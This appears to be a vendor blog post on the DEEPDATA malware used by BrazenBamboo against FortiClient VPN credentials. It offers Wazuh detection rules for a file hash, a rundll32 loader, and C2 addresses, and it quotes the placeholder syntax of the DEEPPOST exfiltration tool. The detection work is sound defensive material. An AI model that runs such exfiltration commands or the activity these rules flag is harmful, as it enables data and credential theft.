FortiClient Vulnerability in Windows Systems — Exploitation to Steal VPN Credentials via DEEPDATA

FortiClient Vulnerability in Windows Systems — Exploitation to Steal VPN Credentials via DEEPDATA

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Intro

Threat intelligence vendor Volexity published research Friday that referenced a new zero-day vulnerability — one without a current CVE designation — that has enabled threat actors tracked as “BrazenBamboo” to steal credentials in instances of Fortinet’s Windows VPN client, FortiClient.

Reference: https://www.volexity.com/blog/2024/11/15/brazenbamboo-weaponizes-forticlient-vulnerability-to-steal-vpn-credentials-via-deepdata/

In this article we recommend detection rules to detect and alert on this exploit.

Malware Analysis

DEEPDATA post-exploitation tool

Volexity’s analysis began with discovery of an archive file named deepdata[.]zip, file hash:

SHA256:666a4c569d435d0e6bf9fa4d337d1bf014952b42cc6d20e797db6c9df92dd724

Detection rule:

• Source: Wazuh Syscheck module
• Rule ID: 554 (File added to the system.)

  <rule id="xxxx" level="12">
    <if_sid>554</if_sid>
    <field name="sha256_after">^666a4c569d435d0e6bf9fa4d337d1bf014952b42cc6d20e797db6c9df92dd724$</field>
    <description>Suspicious file added to the system.</description>
  </rule>
</group>

The DEEPDATA malware elements include the following:

• data.dll DEEPDATA Loader
• mod.dat DEEPDATA Virtual File System (VFS)
• readme.txt File containing DEEPDATA Execution Options

Execution:

Detection rule:

• Source: Sysmon Evt 1 (Process creation)
• Process image + CMDLine

<rule id="xxxx" level="12">
  <if_group>sysmon_event1</if_group>
  <field name="win.eventdata.originalFileName" type="pcre2">(?i)rundll32\.exe</field>
  <field name="win.eventdata.commandLine" type="pcre2">(?i)data\.dll</field>
  <options>no_full_log</options>
  <description>Suspicious rundll32 Execution</description>
</rule>

DEEPPOST post-exploitation exfiltration tool

Syntax:

localupload.exe  c:\data_to_exfiltrate\  ip:port

Detection rule:

• Source: Sysmon Evt 1 (Process creation)
• Process image

<rule id="xxxx" level="12">
  <if_group>sysmon_event1</if_group>
  <field name="win.eventdata.originalFileName" type="pcre2">(?i)localupload\.exe</field>
  <options>no_full_log</options>
  <description>DeepPost Exfiltration Tool Detected</description>
</rule>

DEEPDATA C2 Infrastructure

Several C2 IP addresses mentioned in public reporting have overlaps with DEEPDATA infrastructure, including the following:

103.27.109[.]217

103.27.108[.]207

121.201.109[.]98

Detection rule:

• Source: Sysmon Evt 3 (Network Connection)
• DST IPs + DST Ports

<rule id="xxxx" level="12">
  <if_group>sysmon_event3</if_group>
  <field name="win.eventdata.destinationIp" type="pcre2">^103\.27\.109\.217$|^103\.27\.108\.207$|^121\.201\.109\.98$</field>  
  <field name="win.eventdata.destinationPort">^28443$|^28992$|^28993$</field>
  <options>no_full_log</options>
  <description>DeepPost Exfiltration Tool Detected</description>
</rule>

Need Help?

The functionality discussed in this post, and so much more, are available via the SOCFortress platform. Let SOCFortress help you and your team keep your infrastructure secure.

Website: https://www.socfortress.co/

Contact Us: https://www.socfortress.co/contact_form.html